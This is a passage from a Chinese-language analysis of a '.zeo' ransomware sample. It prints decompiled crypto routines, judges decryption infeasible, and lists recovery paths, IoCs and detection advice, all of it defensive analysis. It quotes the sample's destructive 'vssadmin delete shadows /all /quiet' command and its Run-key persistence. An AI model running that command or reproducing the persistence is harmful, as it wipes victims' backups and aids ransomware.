else memcpy_406D80(input_data, prng_state_4186B0, n0x14);
RC4_PseudoRandomGeneration_405970(rc4_state, (int)input_data, (int)input_data, n0x14); // out = state^RC4
for ( i = 31; i >= 20; --i ) prng_state_4186B0[i] = prng_state_4186B0[i - 20]; // 状态旋转
memcpy_406D80(prng_state_4186B0, key, 0x14u); // state[0:20] = SHA1
return 0;
}
state[0:4] ^= rdtsc低32; state[4:8] ^= rdtsc高32; state[0:4] ^= rdtsc低32
key20 = SHA1(state)
out = state[0:n] XOR RC4(key20) 前 n 字节
state 旋转: [20:32]←[0:12], [0:20]←key20
结论:初始状态 = 堆垃圾 + RDTSC + QPC + TickCount + PID,经 SHA1 迭代混合,
每次输出又混入新的 RDTSC。该 PRNG 不可预测,无法通过已知 IV 反推 AES 密钥。
5.4 RSA 实现
反编译佐证(rsa_encrypt_pkcs1_405CF0,PKCS#1 v1.5 类型 2 填充):
int __cdecl rsa_encrypt_pkcs1_405CF0(int a1, char *a2, unsigned __int16 n0x24, char *anti_data_4186B0)
{
n0x20 = *(_DWORD *)(a1 + 12); // 模数长度 = 128
v6 = n0x20 - n0x24 - 3; // 128 - 36 - 3 = 89B 填充区
*anti_data_4186B0 = 0; anti_data_4186B0[1] = 2; // 00 02
if ( (int)rsa_pad_random_4057E0(v6, anti_data_4186B0 + 2) < 0 ) // 89B 非零随机
return -1;
anti_data_4186B0[v6 + 2] = 0; // 00 分隔符
memcpy_406D80(&anti_data_4186B0[n0x20 - n0x24], a2, n0x24); // 36B 明文(密钥+序列号)
v5 = bn_load_4049D0(*(_DWORD *)(a1 + 16), anti_data_4186B0, n0x20); // 转大数
v7 = rsa_mod_exp_405CC0(a1, v5); // 模幂加密
bn_store_404AA0(*(_DWORD *)(a1 + 16), v7, (int)anti_data_4186B0, n0x20); // 输出 128B
bn_free_404020(*(_DWORD *)(a1 + 16));
return n0x20; // 返回 128
}
- 公钥:N =
ad03db6bc0e70af93…(1024 位),e = 0x10001(rsa_ctx_init_405B80) - 填充:PKCS#1 v1.5 类型 2(
rsa_encrypt_pkcs1_405CF0):00 02 ‖ 89B非零随机 ‖ 00 ‖ 36B明文 - 随机填充先用 PRNG,零字节再用 MSVC rand()(LCG:
seed=214013*seed+2531011,rand_lcg_406E90)替换 - 大数运算为自定义实现(
sub_404x系列,Montgomery 模幂rsa_mod_exp_405CC0)
5.5 AES 实现
反编译佐证(aes_cbc_encrypt_403960,CBC 模式核心):
char *__cdecl aes_cbc_encrypt_403960(int a1, char *a2, char *a3, int a4)
{
memcpy_406D80((char *)v11, (char *)(a1 + 484), 0x10u); // 取 IV
for ( i = 0; i < 4; ++i ) v12[i + 4] = bswap_406BE0(v11[i]);
for ( j = a4 - 16; j >= 0; j -= 16 )
{
memcpy_406D80((char *)v9, a2, 0x10u); a2 += 16; // 取明文块
for ( i = 0; i < 4; ++i ) v12[i] = v12[i + 4] ^ bswap_406BE0(v9[i]); // 与前一块密文异或
aes_block_encrypt_403AE0(a1, v12); // AES 块加密
for ( i = 0; i < 4; ++i ) { v12[i + 4] = v12[i]; v10[i] = bswap_406C00(v12[i + 4]); }
memcpy_406D80(a3, (char *)v10, 0x10u); a3 += 16; // 输出密文块
}
memcpy_406D80((char *)(a1 + 484), (char *)v11, 0x10u); // 更新 IV(链式反馈)
return ...;
}
aes_4034C0:T 表实现的标准 AES 密钥扩展(256 位 → 14 轮;128 位 → 10 轮)aes_cbc_encrypt_403960/aes_block_encrypt_403AE0:标准 AES-CBC- 与本工具链(pycryptodome)往返验证一致(见
py/verify_decryptor.py)
6. 加密突破分析(尝试解密)
6.1 攻击面评估
| 攻击途径 | 可行性 | 说明 |
|---|---|---|
| 分解 RSA-1024 模数 N | 不可行(现网) | 试除(≤2^22)、Fermat(10M次)、Pollard p-1(B=10^5)、ECM(261s) 均失败;N 为规范 1024 位半素数。理论可行但需 CADO-NFS 级别集群(数周~数月) |
| 预测 PRNG 状态 | 不可行 | 初始状态含堆垃圾+rdtsc+QPC,熵充足;IV 与密钥均不可预测 |
| PRNG 状态反推(已知明文) | 不可行 | 输出 = state XOR RC4(SHA1(state)),单向 |
| 已知明文攻击 AES | 不可行 | AES-256-CBC + 随机 IV,无 ECB/重放类弱点 |
| 密钥复用 | 部分 | 同盘所有文件共用同一 AES 密钥;若任一文件的密钥被恢复(如未来解密器/密钥泄露),可解密同盘全部文件(本工具已实现) |
| 大文件部分加密 | 部分 | >1.5MB 文件仅 3×256KB 段加密,但中间明文已被截断覆盖 |
| PKCS#1 填充预言机 | 不可行 | 无解密预言机(Bleichenbacher 不适用) |
6.2 现实可行的恢复路径(按优先级)
- 备份/卷影副本:立即检查卷影(本样本会尝试删除,若未成功仍有救);
对已感染磁盘做数据恢复(原文件为 DeleteFileW 删除,可能可从磁盘空闲区恢复,尤其小文件)。 - 等密钥泄露:该家族公钥若跨样本复用,一旦任一私钥泄露/解密器发布,
运行py/zeo_decryptor.py --dir <加密目录> --rsa-priv priv.pem即可全盘解密。 - 同盘同钥特性:若通过任何途径(内存转储、RSA 私钥、样本比对)获得某盘 AES 密钥,
zeo_decryptor.py --file x.zeo --aes-key <64hex>可解密该盘所有文件。
关键结论:本样本加密实现正确(RSA-1024 保护 AES-256 密钥 + 随机 IV 的 CBC),
不存在可直接利用的算法级漏洞。解密必须依赖:私钥获取、密钥泄露、备份/数据恢复。
7. 入侵指标(IoC)
文件
- 样本名:
winhost(可任意改名,持久化后位于 System32/AppData/启动目录) - 勒索信:
Info.hta(桌面/System32/AppData/各网络共享)、info.txt - 加密文件:
*.[nudasurg@tuta.io].zeo,文件名含.id-XXXXXXXX
互斥
Global\syncronize_WDC3A3.AGlobal\syncronize_WDC3A3.U
注册表
HKCU\Software\Microsoft\Windows\CurrentVersion\Run→ 样本路径HKLM\Software\Microsoft\Windows\CurrentVersion\Run→ 样本路径
命令行为
vssadmin delete shadows /all /quiet(cmd 管道执行)
网络
- 邮件联系:
nudasurg@tuta.io、nudasurg@cyberfear.com - 样本含 ws2_32 socket 全套导入(WSAStartup/socket/send/recv/connect/gethostbyname/inet_addr),本样本内未见实际 C2 交互
特征串(内存/文件)
WDC3A3、.zeo、syncronize_、nudasurg@tuta.io
8. 检测与处置建议
- 封堵 RDP 爆破(改默认端口/强密码/启用 NLA/限制来源 IP),该家族主要靠 RDP 传播。
- 部署 EDR 规则:监控
vssadmin delete shadows、mshta.exe执行、Global\syncronize_*互斥创建。 - 邮件网关过滤含
Info.hta附件的钓鱼邮件。 - 被感染主机立即断网隔离,不要重启(避免卷影/恢复点被清理),优先做卷影复制与磁盘镜像。

浙公网安备 33010602011771号